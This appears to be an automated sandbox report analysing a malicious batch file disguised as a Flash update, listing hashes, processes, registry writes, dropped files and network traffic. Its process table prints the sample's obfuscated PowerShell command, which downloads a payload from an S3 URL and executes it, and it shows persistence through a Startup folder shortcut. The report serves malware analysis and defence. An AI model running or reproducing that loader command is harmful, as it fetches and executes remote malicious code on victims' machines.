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| File name: | update_flashv09392294824.cmd |
| Full analysis: | https://app.any.run/tasks/9171a9b3-d91b-435f-a0c5-1b2b41ecb89b |
| Verdict: | Malicious activity |
| Analysis date: | November 08, 2018, 17:47:03 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/x-msdos-batch |
| File info: | DOS batch file, ASCII text, with very long lines, with CRLF line terminators |
| MD5: | B053E4166BCCCA1F51C98267C79B8EEF |
| SHA1: | C16E6BA25318A96F4E4C1DDA8B32BD71F6417130 |
| SHA256: | C31C875809441BE474ADA8B05ED1F75322B1D951E37CC1CEDFB1E56A2B1E2A1F |
| SSDEEP: | 6:hNGk2jInSrDIZUD5lyYjQO0cb+c60IuWeZ+FDCRLPaYIuaeU0e6Jvn:TCjIn+I6Wppc6Hfc+hCRLb3aeU6Jvn |
MALICIOUS
Loads dropped or rewritten executable
- iexplore.exe (PID: 2140)
- rundll32.exe (PID: 3132)
Writes to a start menu file
- powershell.exe (PID: 3496)
Executes PowerShell scripts
- cmd.exe (PID: 2628)
SUSPICIOUS
Creates files in the user directory
- powershell.exe (PID: 3496)
- rundll32.exe (PID: 3132)
Checks for external IP
- iexplore.exe (PID: 2140)
Uses RUNDLL32.EXE to load library
- powershell.exe (PID: 3496)
Executable content was dropped or overwritten
- powershell.exe (PID: 3496)
Starts Internet Explorer
- rundll32.exe (PID: 3132)
INFO
No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
Total processes
35
Monitored processes
4
Malicious processes
3
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process |
|---|---|---|---|---|
| 2628 | cmd /c ""C:\Users\admin\AppData\Local\Temp\update_flashv09392294824.cmd" " | C:\Windows\system32\cmd.exe | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
| 3496 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -win 1 -InputFormat None -ExecutionPolicy Bypass -Command "iex(iEx('(Ne{0}ect Ne{1}bClient)."dOWnlOAdstRiNG"("""{2}u-west-1.a{3}{4}?tk=MON""")' -f 'w-Obj', 't.We','https://s3-e','mazonaws.c','om/jasonexsn32/Gera.png'));Get-NetDomain | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
| 3132 | "C:\Windows\system32\rundll32.exe" C:\Users\admin\AppData\Roaming\prXQc.dll MaxNotify | C:\Windows\system32\rundll32.exe | — | powershell.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows host process (Rundll32) Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
| 2140 | "C:\Program Files\Internet Explorer\iexplore.exe" | C:\Program Files\Internet Explorer\iexplore.exe | rundll32.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Internet Explorer Exit code: 0 Version: 8.00.7600.16385 (win7_rtm.090713-1255) | ||||
Total events
651
Read events
568
Write events
83
Delete events
0
Modification events
| (PID) Process: | (3496) powershell.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\5F\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (3496) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (3496) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (3496) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | FileTracingMask |
Value: 4294901760 | |||
| (PID) Process: | (3496) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | ConsoleTracingMask |
Value: 4294901760 | |||
| (PID) Process: | (3496) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | MaxFileSize |
Value: 1048576 | |||
| (PID) Process: | (3496) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | FileDirectory |
Value: %windir%\tracing | |||
| (PID) Process: | (3496) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (3496) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (3496) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS |
| Operation: | write | Name: | FileTracingMask |
Value: 4294901760 | |||
Executable files
2
Suspicious files
5
Text files
0
Unknown types
1
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3496 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\K3WNVSVNXHRC6YPEV1SP.temp | — | |
MD5:— | SHA256:— | |||
| 3496 | powershell.exe | C:\Users\admin\AppData\Roaming\_.prx | — | |
MD5:— | SHA256:— | |||
| 3496 | powershell.exe | C:\Users\admin\AppData\Roaming\prXQc.prx | — | |
MD5:— | SHA256:— | |||
| 3132 | rundll32.exe | C:\Users\admin\AppData\Roaming\prXQc | — | |
MD5:— | SHA256:— | |||
| 2140 | iexplore.exe | C:\Users\admin\AppData\Roaming\prXQc | — | |
MD5:— | SHA256:— | |||
| 3496 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\prXQc.prx.lnk | lnk | |
MD5:F89D0630C3C9B9BDD0ECA16B1216F547 | SHA256:6AB0715798516FFB3BDBBD20131BED47FB54018C145D8A23DC74F536AD9844AB | |||
| 3496 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:3C6A7AAE234382390B6B52F47ECA1BAA | SHA256:C8D6BF40DC644B318B2D69E1A1CD3EC9CCFDED8ADE326D33CFAA2C4E3187FCD2 | |||
| 3496 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF5daca6.TMP | binary | |
MD5:3C6A7AAE234382390B6B52F47ECA1BAA | SHA256:C8D6BF40DC644B318B2D69E1A1CD3EC9CCFDED8ADE326D33CFAA2C4E3187FCD2 | |||
| 3496 | powershell.exe | C:\Users\admin\AppData\Roaming\oa.txt | compressed | |
MD5:63C95B6C3D4E2F73F92EE879AF73711A | SHA256:BBD6C843915B40E4BFC56A52702FFA2708AB3E7AB4C08C26A0E706748B1EBDD4 | |||
| 3496 | powershell.exe | C:\Users\admin\AppData\Roaming\oa.zip | compressed | |
MD5:63C95B6C3D4E2F73F92EE879AF73711A | SHA256:BBD6C843915B40E4BFC56A52702FFA2708AB3E7AB4C08C26A0E706748B1EBDD4 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
2
DNS requests
2
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2140 | iexplore.exe | GET | 200 | 185.194.141.58:80 | http://ip-api.com/json/ | DE | text | 384 b | shared |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2140 | iexplore.exe | 185.194.141.58:80 | ip-api.com | netcup GmbH | DE | unknown |
3496 | powershell.exe | 52.218.96.66:443 | s3-eu-west-1.amazonaws.com | Amazon.com, Inc. | IE | unknown |
DNS requests
Domain | IP | Reputation |
|---|---|---|
s3-eu-west-1.amazonaws.com |
| shared |
ip-api.com |
| shared |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2140 | iexplore.exe | Potential Corporate Privacy Violation | ET POLICY External IP Lookup ip-api.com |